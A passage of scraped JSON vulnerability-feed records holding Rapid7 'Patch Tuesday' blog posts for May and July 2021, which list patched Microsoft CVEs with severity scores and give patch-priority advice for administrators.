\n[CVE-2020-24588](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-24588>) | Windows Wireless Networking Spoofing Vulnerability | No | No | 6.5 | No \n[CVE-2020-26144](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-26144>) | Windows Wireless Networking Spoofing Vulnerability | No | No | 6.5 | No \n[CVE-2020-24587](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-24587>) | Windows Wireless Networking Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-31193](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31193>) | Windows SSDP Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31186](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31186>) | Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability | No | No | 7.4 | Yes \n[CVE-2021-31188](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31188>) | Windows Graphics Component Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-31194](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31194>) | OLE Automation Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-31184](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31184>) | Microsoft Windows Infrared Data Association (IrDA) Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31182](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31182>) | Microsoft Bluetooth Driver Spoofing Vulnerability | No | No | 7.1 | No \n[CVE-2021-28476](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28476>) | Hyper-V Remote Code Execution Vulnerability | No | No | 9.9 | Yes \n \n## Windows Microsoft Office ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28455](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28455>) | Microsoft Jet Red Database Engine and Access Connectivity Engine Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n \n## Summary Graphs\n\n", "cvss3": {}, "published": "2021-05-11T23:44:00", "type": "rapid7blog", "title": "Patch Tuesday - May 2021", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24587", "CVE-2020-24588", "CVE-2020-26144", "CVE-2021-26418", "CVE-2021-26419", "CVE-2021-26421", "CVE-2021-26422", "CVE-2021-27068", "CVE-2021-28455", "CVE-2021-28461", "CVE-2021-28465", "CVE-2021-28474", "CVE-2021-28476", "CVE-2021-28478", "CVE-2021-28479", "CVE-2021-31165", "CVE-2021-31166", "CVE-2021-31167", "CVE-2021-31168", "CVE-2021-31169", "CVE-2021-31170", "CVE-2021-31171", "CVE-2021-31172", "CVE-2021-31173", "CVE-2021-31174", "CVE-2021-31175", "CVE-2021-31176", "CVE-2021-31177", "CVE-2021-31178", "CVE-2021-31179", "CVE-2021-31180", "CVE-2021-31181", "CVE-2021-31182", "CVE-2021-31184", "CVE-2021-31185", "CVE-2021-31186", "CVE-2021-31187", "CVE-2021-31188", "CVE-2021-31190", "CVE-2021-31191", "CVE-2021-31192", "CVE-2021-31193", "CVE-2021-31194", "CVE-2021-31195", "CVE-2021-31198", "CVE-2021-31200", "CVE-2021-31204", "CVE-2021-31205", "CVE-2021-31207", "CVE-2021-31208", "CVE-2021-31209", "CVE-2021-31211", "CVE-2021-31213", "CVE-2021-31214", "CVE-2021-31936"], "modified": "2021-05-11T23:44:00", "id": "RAPID7BLOG:05A653A5E863B78EDD56FD74F059E02E", "href": "https://blog.rapid7.com/2021/05/11/patch-tuesday-may-2021/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:56:11", "description": "\n\n[Microsoft has patched another 117 CVEs](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>), returning to volumes seen in early 2021 and most of 2020. It would appear that the recent trend of approximately 50 vulnerability fixes per month was not indicative of a slowing pace. This month there were 13 vulnerabilities rated Critical with nearly the rest being rated Important. Thankfully, none of the updates published today require additional steps to remediate, so administrators should be able to rely on their normal patching process. Once[ CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) has been remediated, priority should be to patch public facing DNS and Exchange servers, followed by Workstations, SharePoint servers, and finally Office applications.\n\nIt seems like the PrintNightmare is nearly over. While the past two weeks have been a frenzy for the security community there has been no new information since the end of last week when Microsoft made a final revision to their guidance on[ CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). If you haven\u2019t patched this yet, this is your daily reminder. For further details [please see our blog](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) on the topic.\n\n## Multiple Critical DNS Vulnerabilities Patched\n\nAdministrators should focus their efforts on the 11 vulnerabilities in Windows DNS server to reduce the most risk. The two most important of these vulnerabilities are [CVE-2021-34494](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34494>) and [CVE-2021-33780](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33780>). Exploitation of either of these vulnerabilities would result in Remote Code Execution with SYSTEM privileges without any user interaction via the network. Given the network exposure of DNS servers these vulnerabilities could prove to be troublesome if an exploit were to be developed. Microsoft lists [CVE-2021-33780](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33780>) as \u201cExploitation More Likely\u201d so it may only be a matter of time before attackers attempt to make use of these flaws.\n\n## New Exchange Updates Available\n\nOnly 4 of the 7 Exchange CVEs being disclosed this month are new. The two most severe vulnerabilities were patched in back in April and were mistakenly not disclosed. This means that if you applied the April 2021 updates you will not need to take any action for [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>), or [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33766>). Of the 4 newly patched vulnerabilities the most notable is [CVE-2021-31206](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206>), a remote code execution flaw discovered in the recent Pwn2Own competition. \n\n## Scripting Engine Exploited in the Wild\n\nExploitation of [CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>) has been observed in the wild by researchers. There are no details on the frequency or spread of this exploit. This vulnerability requires the user to visit a link to download a malicious file. As with other vulnerabilities that require user interaction, strong security hygiene is the first line of defense.\n\n## Summary Tables\n\nHere are this month's patched vulnerabilities split by the product family.\n\n## Apps Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-33753](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33753>) | Microsoft Bing Search Spoofing Vulnerability | No | No | 4.7 | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34528](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34528>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34529](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34529>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34477](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34477>) | Visual Studio Code .NET Runtime Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33767](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33767>) | Open Enclave SDK Elevation of Privilege Vulnerability | No | No | 8.2 | Yes \n[CVE-2021-34479](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34479>) | Microsoft Visual Studio Spoofing Vulnerability | No | No | 7.8 | No \n \n## Exchange Server Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34473](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | Yes | 9.1 | No \n[CVE-2021-31206](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31206>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 7.6 | Yes \n[CVE-2021-31196](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31196>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 7.2 | No \n[CVE-2021-34523](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34523>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | Yes | 9 | No \n[CVE-2021-33768](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33768>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | No | 8 | Yes \n[CVE-2021-34470](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34470>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | No | 8 | Yes \n[CVE-2021-33766](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33766>) | Microsoft Exchange Information Disclosure Vulnerability | No | No | 7.3 | Yes \n \n## Microsoft Dynamics Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34474](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34474>) | Dynamics Business Central Remote Code Execution Vulnerability | No | No | 8 | Yes \n \n## Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34452](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34452>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34517](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34517>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 5.3 | No \n[CVE-2021-34520](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34520>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.1 | No \n[CVE-2021-34467](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34467>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | No \n[CVE-2021-34468](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34468>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 7.1 | Yes \n[CVE-2021-34519](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34519>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-34469](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34469>) | Microsoft Office Security Feature Bypass Vulnerability | No | No | 8.2 | Yes \n[CVE-2021-34451](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34451>) | Microsoft Office Online Server Spoofing Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-34501](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34501>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34518](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34518>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## SQL Server Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31984](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31984>) | Power BI Remote Code Execution Vulnerability | No | No | 7.6 | Yes \n \n## System Center Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-34464](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34464>) | Microsoft Defender Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34522](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34522>) | Microsoft Defender Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-33772](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33772>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-34490](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34490>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33744](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33744>) | Windows Secure Kernel Mode Security Feature Bypass Vulnerability | No | No | 5.3 | No \n[CVE-2021-33763](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33763>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34454](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34454>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-33761](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33761>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33773](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33773>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34445](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34445>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33743](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33743>) | Windows Projected File System Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34493](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34493>) | Windows Partition Management Driver Elevation of Privilege Vulnerability | No | No | 6.7 | No \n[CVE-2021-33740](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33740>) | Windows Media Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34458](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34458>) | Windows Kernel Remote Code Execution Vulnerability | No | No | 9.9 | Yes \n[CVE-2021-34508](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34508>) | Windows Kernel Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-33771](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33771>) | Windows Kernel Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-31961](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31961>) | Windows InstallService Elevation of Privilege Vulnerability | No | No | 6.1 | Yes \n[CVE-2021-34450](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34450>) | Windows Hyper-V Remote Code Execution Vulnerability | No | No | 8.5 | Yes \n[CVE-2021-33758](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33758>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 7.7 | No \n[CVE-2021-33755](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33755>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 6.3 | No \n[CVE-2021-34466](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34466>) | Windows Hello Security Feature Bypass Vulnerability | No | No | 5.7 | Yes \n[CVE-2021-34438](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34438>) | Windows Font Driver Host Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34455](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34455>) | Windows File History Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33774](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33774>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-33759](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33759>) | Windows Desktop Bridge Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34525](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34525>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-34461](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34461>) | Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34488](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34488>) | Windows Console Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33784](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33784>) | Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34462](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34462>) | Windows AppX Deployment Extensions Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34459](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34459>) | Windows AppContainer Elevation Of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33785](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33785>) | Windows AF_UNIX Socket Provider Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33779](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33779>) | Windows ADFS Security Feature Bypass Vulnerability | No | Yes | 8.1 | Yes \n[CVE-2021-34491](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34491>) | Win32k Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34449](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34449>) | Win32k Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34509](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34509>) | Storage Spaces Controller Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34460](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34460>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34510](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34510>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34512](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34512>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34513](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34513>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33751](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33751>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-34521](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34521>) | Raw Image Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34439](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34439>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34503](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34503>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-33760](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33760>) | Media Foundation Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-31947](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31947>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33775](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33775>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33776](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33776>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33777](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33777>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33778](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33778>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-34489](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34489>) | DirectWrite Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-33781](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33781>) | Active Directory Security Feature Bypass Vulnerability | No | Yes | 8.1 | No \n \n## Windows ESU Vulnerabilities\n\nCVE | Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-31183](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31183>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33757](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33757>) | Windows Security Account Manager Remote Protocol Security Feature Bypass Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-33783](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33783>) | Windows SMB Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34507](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34507>) | Windows Remote Assistance Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34457](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34457>) | Windows Remote Access Connection Manager Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34456](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34456>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34527](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527>) | Windows Print Spooler Remote Code Execution Vulnerability | Yes | Yes | 8.8 | Yes \n[CVE-2021-34497](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34497>) | Windows MSHTML Platform Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-34447](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34447>) | Windows MSHTML Platform Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-33786](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33786>) | Windows LSA Security Feature Bypass Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-33788](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33788>) | Windows LSA Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-33764](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33764>) | Windows Key Distribution Center Information Disclosure Vulnerability | No | No | 5.9 | Yes \n[CVE-2021-34500](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34500>) | Windows Kernel Memory Information Disclosure Vulnerability | No | No | 6.3 | Yes \n[CVE-2021-31979](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31979>) | Windows Kernel Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-34514](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34514>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33765](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33765>) | Windows Installer Spoofing Vulnerability | No | No | 6.2 | No \n[CVE-2021-34511](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34511>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34446](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34446>) | Windows HTML Platforms Security Feature Bypass Vulnerability | No | No | 8 | No \n[CVE-2021-34496](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34496>) | Windows GDI Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34498](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34498>) | Windows GDI Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-33749](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33749>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33750](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33750>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33752](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33752>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33756](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33756>) | Windows DNS Snap-in Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-34494](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34494>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33780](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33780>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-33746](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33746>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8 | No \n[CVE-2021-33754](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33754>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 8 | No \n[CVE-2021-34442](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34442>) | Windows DNS Server Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-34444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34444>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34499](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34499>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2021-33745](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33745>) | Windows DNS Server Denial of Service Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-34492](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34492>) | Windows Certificate Spoofing Vulnerability | No | Yes | 8.1 | No \n[CVE-2021-33782](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33782>) | Windows Authenticode Spoofing Vulnerability | No | No | 5.5 | No \n[CVE-2021-34504](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34504>) | Windows Address Book Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34516](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34516>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-34448](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34448>) | Scripting Engine Memory Corruption Vulnerability | Yes | No | 6.8 | Yes \n[CVE-2021-34441](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34441>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-34440](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34440>) | GDI+ Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-34476](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34476>) | Bowser.sys Denial of Service Vulnerability | No | No | 7.5 | No \n \n## Summary Graphs\n\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": 